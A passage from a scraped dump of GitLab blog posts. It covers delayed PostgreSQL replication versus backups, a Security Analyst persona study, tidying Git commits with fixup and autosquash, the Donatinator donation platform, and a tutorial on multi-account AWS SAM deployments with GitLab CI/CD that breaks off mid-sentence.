time). The incident was mitigated and data recovered and restored 90 minutes after work was started.\n\n### Summing up: Where delayed replication can be useful (and where it's not)\n\nDelayed replication can be used as a first resort to recover from accidental data loss and lends itself perfectly to situations where the loss-inducing event is noticed within the configured delay.\n\nLet's be clear though: *Replication is not a backup mechanism*.\n\nBackup and replication are two mechanisms with distinct purposes: A *cold backup* is useful to recover from a disaster, for example an accidental `DELETE` or `DROP TABLE` event. In this case, we utilize a backup from cold storage to restore an earlier state of a table or the whole database. On the other hand, a `DROP TABLE` query replicates nearly instantly to all replicas in a running cluster – hence normal replication on its own is not useful to recover from this scenario. Instead, the purpose of *replication* is mostly to guard database availability against failures of individual database servers and to distribute load.\n\nEven with a delayed replica in place, there are situations where we really want a cold backup that is stored in a safe place: data center failures, silent corruption, or other events that aren't visible right away, are prime candidates to rely on cold backups. With replication only, we'd be out of luck.\n\nNote: For [GitLab.com](https://gitlab.com/), we currently only provide system-level resiliency against data loss and do not provide user-level data recovery in general.\n\nPhoto by [Mathew Schwartz](https://unsplash.com/photos/sb7RUrRMaC4?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,815],{"slug":30651,"featured":6,"template":678},"delayed-replication-for-disaster-recovery-with-postgresql","content:en-us:blog:delayed-replication-for-disaster-recovery-with-postgresql.yml","Delayed Replication For Disaster Recovery With Postgresql","en-us/blog/delayed-replication-for-disaster-recovery-with-postgresql.yml","en-us/blog/delayed-replication-for-disaster-recovery-with-postgresql",{"_path":30657,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30658,"content":30663,"config":30668,"_id":30670,"_type":16,"title":30671,"_source":17,"_file":30672,"_stem":30673,"_extension":20},"/en-us/blog/a-deep-dive-into-the-security-analyst-persona",{"title":30659,"description":30660,"ogTitle":30659,"ogDescription":30660,"noIndex":6,"ogImage":10029,"ogUrl":30661,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30661,"schema":30662},"A deep dive into the Security Analyst persona","See how we created our new Security Analyst persona, and how we are already putting it to use.","https://about.gitlab.com/blog/a-deep-dive-into-the-security-analyst-persona","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A deep dive into the Security Analyst persona\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andy Volpe\"}],\n        \"datePublished\": \"2019-02-12\",\n      }",{"title":30659,"description":30660,"authors":30664,"heroImage":10029,"date":30665,"body":30666,"category":674,"tags":30667},[26909],"2019-02-12","\nAs GitLab grows, so does our need for new, more area-specific personas. Recently, as part of our [effort to create personas](/blog/personas-and-empathy-building/), I was given a chance to craft one. As the UX designer for [the Secure team](/handbook/engineering/development/sec/secure/) here at GitLab, I jumped at the opportunity to learn more about security professionals, and how we may create products and features to meet their needs. Throughout the entire process, I gained a greater sense of empathy and a deeper understanding of the needs, goals, and pain points of security professionals. The result was our new [Security Analyst Persona, Sam](/handbook/product/personas/#sam-security-analyst). However, I will add a caveat that this is not the end of the process, but the beginning of how we can better support security professionals with new features and functionality that address their specific needs. You can peruse the highlights and the persona itself below, and let us know what you think by tweeting us [@gitlab](https://twitter.com/gitlab)!\n\n## The research\n\nHere are some takeaways from the [10 interviews](https://gitlab.com/gitlab-org/ux-research/issues/97) I conducted to create the Security Analyst persona.\n\nWe’ve learned that the Security Analyst is a bit of a generalist when it comes to their day-to-day tasks. From the research, I found that there isn’t one specific task that defines their day, but a grouping of tasks under the umbrella of security. I’ve written the summary of the persona to reflect the somewhat general nature of the Security Analysts' role:\n\n>\"I wear lots of hats, but the majority of my time is spent monitoring and flagging events, running down high-priority tasks and working with other teams to implement new systems.\"\n\n### What motivates a Security Analyst?\n\nSecurity Analysts strive for order in the chaos and, based on our research, are taking steps to achieve that order. One specific example:\n\n>When I’m monitoring my dashboards, I want to see everything I am monitoring in one tool, so I can do my job easier and more efficiently.\n\nMoving between different tools and dashboards was identified as a significant problem area for Security Analysts. They found it hard to create a workflow that was conducive to remediating security issues while having to work across multiple tools.\n\nAnother motivation I found during the research was that Security Analysts desire to be more proactive than reactive in their work. I’ve summarized this by adding the objective below:\n\n>When security testing, I want to be more proactive than reactive, so I can anticipate potential threats or vulnerabilities before the bad guys do.\n\nBy being more proactive or shifting left in their work, Security Analysts are able to identify and remediate potential vulnerabilities before they become a problem or even lead to an attack.\n\n### What are some of the frustrations Security Analysts have?\n\n>I’m frustrated I don’t have the resources to complete this project to its specifications.\n\nand\n\n>I’m frustrated when I know how to fix a security issue but the red tape at my company doesn’t allow me to in a timely manner.\n\nA common theme seen throughout the research was that of constrained resources and time. Often we found that security teams were small in comparison to other teams within their organization. This resource discrepancy leads to work being done at such a pace that the project can’t be completed to its specifications or in a timely manner.\n\n### How are we using the security Analyst persona at GitLab?\n\nWe are all-in on making the Security Persona a first-class persona here at GitLab. Recently we launched the [Group-level Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), which allows security professionals to monitor all their projects, in one view, for vulnerabilities, and gives them the ability to take action on those vulnerabilities right from the dashboard itself.\n\nAside from security dashboards, we are constantly dreaming up more security features and enhancements that will help users keep their instances, groups, and projects secure. You can [see our roadmap here](/direction/#future-releases) for more on what's coming.\n\n## The persona\n\n![Sam, Security Analyst persona](https://about.gitlab.com/images/blogimages/security-analyst-persona.png){: .shadow.center}\n\nKeep an eye out for the rest of our series on the [new personas](/handbook/product/personas/)!\n\n[Photo](https://unsplash.com/photos/z55CR_d0ayg) by [Andrew Neel](https://unsplash.com/@andrewtneel) on Unsplash\n{: .note}\n",[942,676,674,2249,1444],{"slug":30669,"featured":6,"template":678},"a-deep-dive-into-the-security-analyst-persona","content:en-us:blog:a-deep-dive-into-the-security-analyst-persona.yml","A Deep Dive Into The Security Analyst Persona","en-us/blog/a-deep-dive-into-the-security-analyst-persona.yml","en-us/blog/a-deep-dive-into-the-security-analyst-persona",{"_path":30675,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30676,"content":30682,"config":30688,"_id":30690,"_type":16,"title":30691,"_source":17,"_file":30692,"_stem":30693,"_extension":20},"/en-us/blog/start-using-git",{"title":30677,"description":30678,"ogTitle":30677,"ogDescription":30678,"noIndex":6,"ogImage":30679,"ogUrl":30680,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30680,"schema":30681},"How to tidy up your merge requests with Git","Here's how to use a Git feature that saves a lot of time and cleans up your MRs.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672243/Blog/Hero%20Images/git-tricks-cover-image.png","https://about.gitlab.com/blog/start-using-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to tidy up your merge requests with Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ronald van Zon\"}],\n        \"datePublished\": \"2019-02-07\",\n      }",{"title":30677,"description":30678,"authors":30683,"heroImage":30679,"date":30685,"body":30686,"category":734,"tags":30687},[30684],"Ronald van Zon","2019-02-07","\n\nI've worked on a lot of open source projects and one thing they all have in common is\nwhen you create a merge request (or pull request) they will often ask, \"Can you clean up your request?\"\nbecause commits like *fix typo* should not be included in a Git history.\n\nNow there are a few ways of cleaning up commits and I'll show you what I have found to be the easiest way.\n\nBelow is an example scenario where I use a feature of Git that has saved me a lot of time.\nI have a tiny project seen in the image below.\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_demo_project.png){: .shadow.medium.center}\n\nNow I like to run my `main.py` in a test environment to see if it works as expected.\nI like to do that by configuring a `.gitlab-ci.yml` to run `main.py`.\nAlthough this is extremely easy, for this example I made sure I increased the number of commits\nto illustrate my example a bit more clearly. So after some time my commit history looks like this:\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_commits_bad.png){: .shadow.medium.center}\n\nHere you can see my first three commits add `README.md`, `main.py` and `.gitlab-ci.yml`.\nA few commits update my `gitlab-ci` file, trying some stuff out, and fixing typos.\nThere's also a commit that cleans up my `gitlab-ci` and two more to fix and clean up `main.py`.\n\nNow some of you might see this and think, \"Looks good,\" while others might want to scream at me\nfor making a mess out of my commits.\n\nHow do we fix it?\n\n## How to consolidate your commits\n\nFirst, let's revert the last two commits using [reset](https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html#unstage-all-changes-that-have-been-added-to-the-staging-area).\nWe don't want to lose our changes so we will use `git reset --soft HEAD~2`.\n`--soft` will keep our changes of the files and `HEAD~2` tells Git the two commits from `HEAD` position should be reverted.\n\nWe create a new commit, `git commit --fixup 6c29979`. This will create a commit called `fixup! Add main Python file`.\nWhen we run `git rebase -i --autosquash 24d214a` we can see below that our `fixup` commit has been moved below\nthe commit we referenced with the tag *6c29979*. I could save this and the fixup will be merged into the commit above.\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_rebase_1.png){: .shadow.medium.center}\n\nBut if we look at the commits below the *fixup*, we see that all the commits are related to the *.gitlab-ci.yml*\nand by making a small change here, we can clean up my commits in a single go. We will change the *pick* to *fixup* for all\ncommits but `Add default gitlab-ci` (shown in the image below) and we will save this.\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_rebase_2.png){: .shadow.medium.center}\n\nChecking our Git log, we see that our long list of commits has been reduced to just three. There is a big change that\nyou should be aware of: because I have just rewritten my Git history I will have to use `git push --force` to update\nany *remote repository*.\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_commits_good.png){: .shadow.medium.center}\n\nThis looks a lot better now; only the relevant commits are left. But could we have prevented this while working on this\nfeature? The answer is yes.\n\nWe could have used `git commit --amend` to add almost every commit behind *19d8353 Add default gitlab-ci*.\nThis wouldn't require any new commit for any changes that we were making to our `.gitlab-ci.yml` file. We would have ended\nup with the following and we already know how to handle the *fixup*.\n\n![Git Project](https://about.gitlab.com/images/blogimages/start-using-git/git_commits_alternative.png){: .shadow.medium.center}\n\nSomething to keep in mind when using features that rewrite the history of your Git repository: If you already\npushed your previous commits to a *remote repository* you will have to use `git push --force` to overwrite the\nhistory of the *remote repository*. Bad use of this could cause serious problems, so be careful!\nIf you run into trouble, a useful guide that could help you recover from this is [git push --force and how to deal with it](https://evilmartians.com/chronicles/git-push",[4772,1444,1067],{"slug":30689,"featured":6,"template":678},"start-using-git","content:en-us:blog:start-using-git.yml","Start Using Git","en-us/blog/start-using-git.yml","en-us/blog/start-using-git",{"_path":30695,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30696,"content":30702,"config":30709,"_id":30711,"_type":16,"title":30712,"_source":17,"_file":30713,"_stem":30714,"_extension":20},"/en-us/blog/donatinator-open-source-donation-platform",{"title":30697,"description":30698,"ogTitle":30697,"ogDescription":30698,"noIndex":6,"ogImage":30699,"ogUrl":30700,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30700,"schema":30701},"The Donatinator: Simple donation solution for charities","This guest author shares his passion project: a free and open source solution for small charities and non-profits to accept donations online.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679940/Blog/Hero%20Images/donatinator-open-source.jpg","https://about.gitlab.com/blog/donatinator-open-source-donation-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Donatinator: A simple, secure way to accept donations to your charity or non-profit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Chilton\"}],\n        \"datePublished\": \"2019-02-06\",\n      }",{"title":30703,"description":30698,"authors":30704,"heroImage":30699,"date":30706,"body":30707,"category":813,"tags":30708},"The Donatinator: A simple, secure way to accept donations to your charity or non-profit",[30705],"Andrew Chilton","2019-02-06","\n\nMany small non-profits or charity organizations all over the world find it really difficult to accept one-off donations or set up monthly subscriptions online. I know this from firsthand experience.\n\nLast year my wife came to me asking how the organization she volunteers at – a mothers’ support group – could accept donations on their website. My first thought was that the (free) hosting provider they were using would have a feature to do that, but no, not unless you pay, and for a small charity even $10 or $20 per month is too expensive.\n\nMy second thought was to investigate hosting or donation portals. Here's where the journey started.\n\n## Donation platforms offer a mixed bag\n\nAfter looking at various donation platforms, we realised that many differences exist and that you can't always have it all. Some of them:\n\n* Are only http unless you pay up front.\n* Support single donations OR subscriptions, but not both.\n* Are based around a fundraising model (to attain a target amount) but don't support ongoing payments.\n* Are US only, but since we're in New Zealand we needed something that would work here.\n* Provide an iframe payment page but not all.\n* Have a free tier but others required payment from day 1.\n* Don't have a team plan such that members of the charity committee can log in and administer the portal.\n\n## Looking for an open source solution\n\nI kept thinking to myself that there must be an open source project out there already that could do all of this for free. Small charities and non-profits don't have the ability to pay for things up front, especially when it's not part of their core mission. After a while reading, reviewing, comparing, and planning, my non-negotiable for the platform became that \"We didn't have to pay more than necessary.\"\n\nThe only fee we wouldn't be able to get around was credit card processing. Added that we would only pay a percentage fee once we receive a donation rather than up front was also a good result.\n\nBeing a coder and being unimpressed with the status quo, I started coding. Within a month [The Donatinator](http://donatinator.org/) ([demo](https://donatinator.herokuapp.com/), [code](https://gitlab.com/donatinator/)) was born.\n\n## The Donatinator\n\nShortly after launch, The Donatinator can already accept one-off or recurring donations, add and edit simple Markdown pages, and allow multiple team members to log in for administration and basic reporting.\n\nMore features are planned, but the most important thing about the project is that it should be guided by a few founding principles. These are (far from perfect, but a good start):\n\n- The software should be open source so it is free for the end user, for now and always.\n- A basic installation should run within the free tier of various hosting providers.\n- The user should only have to pay for credit card processing fees (but if we can get around this one day we will!) 😃\n\n## Why open source?\n\nAllowing anyone and everyone to use, download, install, change, contribute, and enjoy The Donatinator is paramount to enabling every organisation anywhere to accept donations and allow them to continue the great work they are doing and the help they are providing.\n\n### Why GitLab?\n\nSince we ourselves are open source, choosing a code-hosting provider that is also open source aligns with our values nicely. \u003Cplug> GitLab is the natural home of projects like us and we're very grateful of their hospitality (as well as their 2,000 CI pipeline minutes per month!). \u003C/plug>\n\nFunnily enough this also brought home the idea that it's not actually just the technology that is the interesting part of the project. GitLab's handbook has a great page on values but a very small part of that is the idea of [boring solutions](https://handbook.gitlab.com/handbook/values/#efficiency) which we're also using to guide our technology decisions, keeping things simple and lite.\n\n### A word on pragmatism\n\nEven though we'd love everything to be open source, we know we can't have everything. With that we'd like to thank the following companies that we're currently using to make The Donatinator fulfill its aim. With free plans on Heroku, Google, Glitch, Zeit, MailGun, and others, we should be able to achieve these goals for charities who may only receive a few donations each month, which can make all the difference between helping people or closing down completely due to insufficient funds. Also thanks to Stripe for having a discounted fee for registered charities to maximize each and every donation.\n\nWhich leads me to a confession ...\n\n## A high high, and a low low\n\nStarting a new project is always exciting. Tap tap, code, test, commit, one late night after another. But then the bad news came ...\n\nThe small charity all of this work was initially done for decided to use an existing donor platform. I can understand why, but rather than dwelling on it, I decided to continue working on The Donatinator anyway. I'm still convinced there is a place for it in the world and a variety of people and organisations can benefit from it, if only they knew about it.\n\n## Asking for help, contributions, and donations\n\nWithout shame I am now asking you all for help. The Donatinator is a new project and there is still lots to do, however there are three main areas in which help would be awesome and greatly appreciated!\n\n### Please contribute!\n\nFirstly, contributions of [code](https://gitlab.com/donatinator/donatinator/) and [documentation](https://gitlab.com/donatinator/docs/) are welcome and very important. Participating in the [community](https://spectrum.chat/donatinator) also helps a project thrive and we'd love to chat to you about your needs and requirements.\n\n### Please donate!\n\nSecondly, I'm looking for [patrons and sponsorship](https://donate.donatinator.org/) (yes, it's self hosted) to be able to take the project forward faster. Sustainable open source is still a panacea but I believe it can happen. I don't believe that the charities and non-profits who use The Donatinator should have to pay for the use of it but that means we need to look elsewhere to help with sustainability.\n\n### Please spread the word!\n\nAnd finally but most importantly – users! If there are no users, then there is no project.\n\nIf you know a person, a non-profit, or a charity who could use [The Donatinator](http://donatinator.org/), please get in touch with them. Many are run by non-technical volunteers and they would love to have your help in setting up online donations. Get in touch with us too, for help or if you have any questions – we'd love to hear about your progress and your feedback would be invaluable!\n\n(You could also run The Donatinator yourself for your own open source project or for your own patron portal. Hint hint! 😃)\n\nThere is lots of functionality penciled in for future Donatinator releases but there is nothing like having real users provide ideas or ask for specific features. This is a terrific opportunity to help the helpers ... so come on, let's make it happen! We can do this 😃\n\nCover image by [Steve Johnson](https://unsplash.com/photos/0sPFjdcRhko?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/coins?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[815,267,4772],{"slug":30710,"featured":6,"template":678},"donatinator-open-source-donation-platform","content:en-us:blog:donatinator-open-source-donation-platform.yml","Donatinator Open Source Donation Platform","en-us/blog/donatinator-open-source-donation-platform.yml","en-us/blog/donatinator-open-source-donation-platform",{"_path":30716,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30717,"content":30722,"config":30728,"_id":30730,"_type":16,"title":30731,"_source":17,"_file":30732,"_stem":30733,"_extension":20},"/en-us/blog/multi-account-aws-sam-deployments-with-gitlab-ci",{"title":30718,"description":30719,"ogTitle":30718,"ogDescription":30719,"noIndex":6,"ogImage":23744,"ogUrl":30720,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30720,"schema":30721},"How to set up multi-account AWS SAM deployments with GitLab CI/CD","Our guest author, an AWS Serverless hero, shares how to automate SAM deployments using GitLab CI/CD.","https://about.gitlab.com/blog/multi-account-aws-sam-deployments-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to set up multi-account AWS SAM deployments with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Forrest Brazeal\"}],\n        \"datePublished\": \"2019-02-04\",\n      }",{"title":30718,"description":30719,"authors":30723,"heroImage":23744,"date":30725,"body":30726,"category":734,"tags":30727},[30724],"Forrest Brazeal","2019-02-04","\nI've been working with [serverless](/topics/serverless/) applications in AWS for about three years – that makes me an old salt in serverless terms! So I know that deploying and maintaining a serverless app can be tricky; the tooling often has critical gaps.\n\nAWS's [SAM (Serverless Application Model)](https://aws.amazon.com/serverless/sam/) is an open source framework that makes it easier to define AWS resources – such as Lambda functions, API Gateway APIs and DynamoDB tables – commonly used in serverless applications. Once you lay out your app in a SAM template, the next thing you need is a consistent, repeatable way to get that template off your laptop and deployed in the cloud.\n\nYou need CI/CD.\n\nI've used several different [CI/CD systems](/topics/ci-cd/) to automate SAM deployments, and I always look for the following features:\n\n- A single deployment pipeline that can build once and securely deploy to multiple AWS accounts (dev, staging, prod).\n- Dynamic feature branch deployments, so serverless devs can collaborate in the cloud without stepping on each other.\n- Automated cleanup of feature deployments.\n- Review of our SAM application directly integrated with the CI/CD tool's user interface.\n- Manual confirmation before code is released into production.\n\nIn this post, we'll find out how [GitLab CI](/solutions/continuous-integration/) can check these boxes on its way to delivering effective CI/CD for AWS SAM. You can follow along using [the official example code, available here](https://gitlab.com/gitlab-examples/aws-sam).\n\n## Multi-account AWS deployments\n\nWe'll want to set up our deployment pipeline across multiple AWS accounts, because accounts are the only true security boundary in AWS. We don't want to run any risk of deploying prod data in dev, or vice versa. Our multi-account setup will look something like this:\n\nAny time we work with multiple AWS accounts, we need cross-account [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) in order to authorize deployments. We'll handle this task through the following steps. (All referenced scripts are available in the [example repo](https://gitlab.com/gitlab-examples/aws-sam))\n\n### 1\\. Establish three AWS accounts for development, staging, and production deployments\n\nYou can use existing AWS accounts if you have them, or [provision new ones under an AWS Organization](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_create.html).\n\n### 2\\. Set up GitLab IAM roles in each account\n\nRun the following AWS CLI call with admin credentials in each of the three accounts:\n\n```\naws cloudformation deploy --stack-name GitLabCIRoles --template-file setup-templates/roles.yml --capabilities CAPABILITY_NAMED_IAM --parameter-overrides CIAccountID=\"\u003CAWS Account ID where your GitLab CI/CD runner lives>\" CIAccountSTSCondition=\"\u003CThe aws:userid for the IAM principal used by the Gitlab runner>\"\n  ```\n\nReplace `CIAccountID` and `CIAccountSTSCondition` as indicated with values from the AWS account where your GitLab CI/CD runner exists. (Need help finding the `aws:userid` for your runner’s IAM principal? Check out [this guide](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html#principaltable).)\n\nThis CloudFormation template defines two roles: `SharedServiceRole` and `SharedDeploymentRole`. The `SharedServiceRole` is assumed by the GitLab CI/CD runner when calling the AWS CloudFormation service. This role trusts the GitLab CI/CD runner's role. It has permissions to call the CloudFormation service, pass a role via IAM, and access S3 and CloudFront: nothing else. This role is not privileged enough to do arbitrary AWS deployments on its own.\n\nThe `SharedDeploymentRole`, on the other hand, has full administrative access to perform any AWS action. A such, it cannot be assumed directly by the GitLab CI/CD runner. Instead, this role must be \"passed\" to CloudFormation using the service's `RoleArn` parameter. The CloudFormation service trusts the `SharedDeploymentRole` and can use it to deploy whatever resources are needed as part of the pipeline.\n\n### 3\\. Create an S3 bucket for CI artifacts\n\nGrab the AWS account ID for each of your development, staging, and production accounts, then deploy this CloudFormation template **in the account where your GitLab CI/CD Runner exists**:\n\n`aws cloudformation deploy --stack-name GitLabCIBucket --template-file setup-templates/ci-bucket.yml --parameter-overrides DevAwsAccountId=\"\u003CAWS Account ID for dev>\" StagingAwsAccountId=\"\u003CAWS Account ID for staging>\" ProdAwsAccountId=\"\u003CAWS Account ID for prod>\" ArtifactBucketName=\"\u003CA unique name for your bucket>\"`\n\nThis CloudFormation template creates a centralized S3 bucket which holds the artifacts created during your pipeline run. Artifacts are created once for each branch push and reused between staging and production. The bucket policy allows the development, test, and production accounts to reference the same artifacts when deploying CloudFormation stacks -- checking off our \"build once, deploy many\" requirement.\n\n### 4\\. Assume the `SharedServiceRole` before making any cross-account AWS calls\nWe have provided the script `assume-role.sh`, which will assume the provided role and export temporary AWS credentials to the current shell. It is sourced in the various `.gitlab-ci.yml` build scripts.\n\n## Single deployment pipeline\n\nThat brings us to the `.gitlab-ci.yml` file you can see at the root of our example repository. GitLab CI/CD is smart enough to dynamically create and execute the pipeline based on that template when we push code to GitLab. The file has a number of variables at the top that you can tweak based on your environment specifics.\n\n### Stages\n\nOur Gitlab CI/CD pipeline contains seven possible stages, defined as follows:\n\n![Multi-account AWS SAM deployment model with GitLab CI](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/deployment-model.png){: .shadow.medium.center}\n\n```yaml\nstages:\n - test\n - build-dev\n - deploy-dev\n - build-staging\n - deploy-staging\n - create-change-prod\n - execute-change-prod\n```\n\n![Deployment lifecycle stages](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/deployment-lifecycle-stages.png){: .shadow.medium.center}\n\n\"Stages\" are used as a control flow mechanism when building the pipeline. Multiple build jobs within a stage will run in parallel, but all jobs in a given stage must complete before any jobs belonging to the next stage in the list can be executed.\n\nAlthough seven stages are defined here, only certain ones will execute, depending on what kind of Git action triggered our pipeline. We effectively have three stages to any deployment: a \"test\" phase where we run unit tests and dependency scans against our code, a \"build\" phase that packages our SAM template, and a \"deploy\" phase split into two parts: creating a [CloudFormation change set](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-updating-stacks-changesets.html) and then executing that change set in the target environment.\n\n#### Test\n\nOur `.gitlab-ci.yml` file currently runs two types of tests: unit tests against our code, and dependency scans against our third-party Python packages.\n\n##### Unit tests\n\nUnit tests run on every branch pushed to the remote repository. This behavior is defined by the `only: branches` property in the job shown below:\n\n```yaml\ntest:unit:\n stage: test\n only:\n   - branches\n script: |\n   if test -f requirements.txt; then\n       pip install -r requirements.txt\n   fi\n   python -m pytest --ignore=functions/\n```\n\nEvery GitLab CI/CD job runs a script. Here, we install any dependencies, then execute Python unit tests.\n\n##### Dependency scans\n\n[Dependency scans](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), which can take a few minutes, run only on code pushed to the master branch; it would be counterproductive for developers to wait on them every time they want to test code.\n\nThese scans use a hardcoded, standard Docker image to mount the code and run \"Docker in Docker\" checks against a database of known package vulnerabilities. If a vulnerability is found, the pipeline will log the error without stopping the build (that's what the `allow-failure: true` property does).\n\n#### Build\n\nThe build stage turns our SAM template into CloudFormation and turns our Python code into a valid AWS Lambda deployment package. For example, here's the `build:dev` job:\n\n```yaml\nbuild:dev:\n stage: build-dev\n \u003C\u003C: *build_script\n variables:\n   \u003C\u003C: *dev_variables\n artifacts:\n   paths:\n     - deployment.yml\n   expire_in: 1 week\n only:\n   - branches\n except:\n   - master\n```\n\nWhat's going on here? Note first the combination of `only` and `except` properties to ensure that our development builds happen only on pushes to branches that aren't `master`. We're referring to `dev_variables`, the set of development-specific variables defined at the top of `.gitlab-ci.yml`. And we're running a script, pointed to by `build_script`, which packages our SAM template and code for deployment using the `aws cloudformation package` CLI call.\n\nThe artifact `deployment.yml` is the CloudFormation template output by our package command. It has all the implicit SAM magic expanded into CloudFormation resources. By managing it as an artifact, we can pass it along to further steps in the build pipeline, even though it isn't committed to our repository.\n\n#### Deploy\nOur deployments use AWS CloudFormation to deploy the packaged application in a target AWS environment.\n\nIn development and staging environments, we use the `aws cloudformation deploy` command to create a change set and immediately execute it. In production, we put a manual \"wait\" in the pipeline at this point so you have the opportunity to review the change set before moving onto the \"Execute\" step, which actually calls `aws cloudformation execute-changeset` to update the underlying stack.\n\nOur deployment jobs use a helper script, committed to the top level of the example repository, called `cfn-wait.sh`. This script is needed because the `aws cloudformation` commands don't wait for results; they report success as soon as the stack operation starts. To properly record the deployment results in our job, we need a script that polls the CloudFormation service and throws an error if the deployment or update fails.\n\n## Dynamic feature branch deployments and Review Apps\n\n![Dynamic feature branch deployments and Review Apps](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/dynamic-feature-branch-deployments.png){: .shadow.medium.center}\n\nWhen a non-master branch is pushed to GitLab, our pipeline runs tests, builds the [updated source code](/solutions/source-code-management/), and deploys and/or updates the changed CloudFormation resources in the development AWS account. When the branch is merged into master, or if someone clicks the \"Stop\" button next to the branch's environment in GitLab CI, the CloudFormation stack will be torn down automatically.\n\nIt is perfectly possible, and indeed desirable, to have multiple development feature branches simultaneously deployed as live environments for more efficient parallel feature development and QA. The serverless model makes this a cost-effective strategy for collaborating in the cloud.\n\nIf we are dynamically deploying our application on every branch push, we might like to view it as part of our interaction with the GitLab console (such as during a code review). GitLab supports this with a nifty feature called [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/). Review Apps allow you to specify an \"environment\" as part of a deployment job, as seen in our `deploy:dev` job below:\n\n```yaml\ndeploy:dev:\n \u003C\u003C: *deploy_script\n stage: deploy-dev\n dependencies:\n   - build:dev\n variables:\n   \u003C\u003C: *dev_variables\n environment:\n   name: review/$CI_COMMIT_REF_NAME\n   url: https://${CI_COMMIT_REF_NAME}.${DEV_HOSTED_ZONE_NAME}/services\n   on_stop: stop:dev\n only:\n   - branches\n except:\n   - master\n```\n\nThe link specified in the `url` field of the `environment` property will be accessible in the `Environments` section of GitLab CI/CD or on any merge request of the associated branch. (In the case of the sample SAM application provided with our example, since we don't have a front end to view, the link just takes you to a GET request for the `/services` API endpoint and should display some raw JSON in your browser.)\n\n![Link to live environment](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/link-live-environment.png){: .shadow.medium.center}\n\nThe `on_stop` property specifies what happens when you \"shut down\" the environment in GitLab CI. This can be done manually or by deleting the associated branch. In the case above, we have stopped behavior for dev environments linked to a separate job called `stop:dev`:\n\n```yaml\nstop:dev:\n stage: deploy-dev\n variables:\n   GIT_STRATEGY: none\n   \u003C\u003C: *dev_variables\n \u003C\u003C: *shutdown_script\n when: manual\n environment:\n   name: review/$CI_COMMIT_REF_NAME\n   action: stop\n only:\n   - branches\n except:\n   - master\n```\n\nThis job launches the `shutdown_script` script, which calls `aws cloudformation teardown` to clean up the SAM deployment.\n\nFor safety's sake, there is no automated teardown of staging or production environments.\n\n## Production releases\n\n![Production releases](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/production-releases.png){: .shadow.medium.center}\n\nWhen a change is merged into the master branch, the code is built, tested (including dependency scans) and deployed to the staging environment. This is a separate, stable environment that developers, QA, and others can use to verify changes before attempting to deploy in production.\n\n![Staging environment](https://about.gitlab.com/images/blogimages/multi-account-aws-sam/staging-environment.png){: .shadow.medium.center}\n\nAfter deploying code to the staging environment, the pipeline will create a change set for the production stack, and then pause for a manual intervention. A human user must click a button in the Gitlab CI/CD \"Environments\" view to execute the final change set.\n\n## Now what?\n\nStep back and take a deep breath – that was a lot of information! Let's not lose sight of what we've done here: we've defined a secure, multi-account AWS deployment pipeline in our GitLab repo, integrated tests, builds and deployments, and successfully rolled a SAM-defined serverless app to the cloud. Not bad for a few lines of config!\n\nThe next step is to try this on your own. If you'd like to start with our sample \"AWS News\" application, you can simply run `sam init --location git+https://gitlab.com/gitlab-examples/aws-sam` to download the project on your local machine. The AWS News app contains a stripped-down, single-account version of the `gitlab-ci.yml` file discussed in this post, so you can try out deployments with minimal setup needed.\n\n## Further reading\n\nWe have barely scratched the surface of GitLab CI/CD and AWS SAM in this post. Here are some interesting readings if you would like to take your work to the next level:\n\n### SAM\n\n- [Implementing safe AWS Lambda deployments with AWS SAM and CodeDeploy](https://aws.amazon.com/blogs/compute/implementing-safe-aws-lambda-deployments-with-aws-codedeploy/)\n- [Running and debugging serverless applications locally using the AWS SAM CLI](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/serverless-test-and-debug.html)\n\n### GitLab CI\n\n- [Setting up a GitLab Runner on EC2](https://hackernoon.com/configuring-gitlab-ci-on-aws-ec2-using-docker-7c359d513a46)\n- [Scheduled pipelines](https://docs.gitlab.com/ee/ci/pipelines/schedules.html)\n- [ChatOps](https://docs.gitlab.com/ee/ci/chatops/)\n\nPlease [let me know](https://twitter.com/forrestbrazeal) if you have further 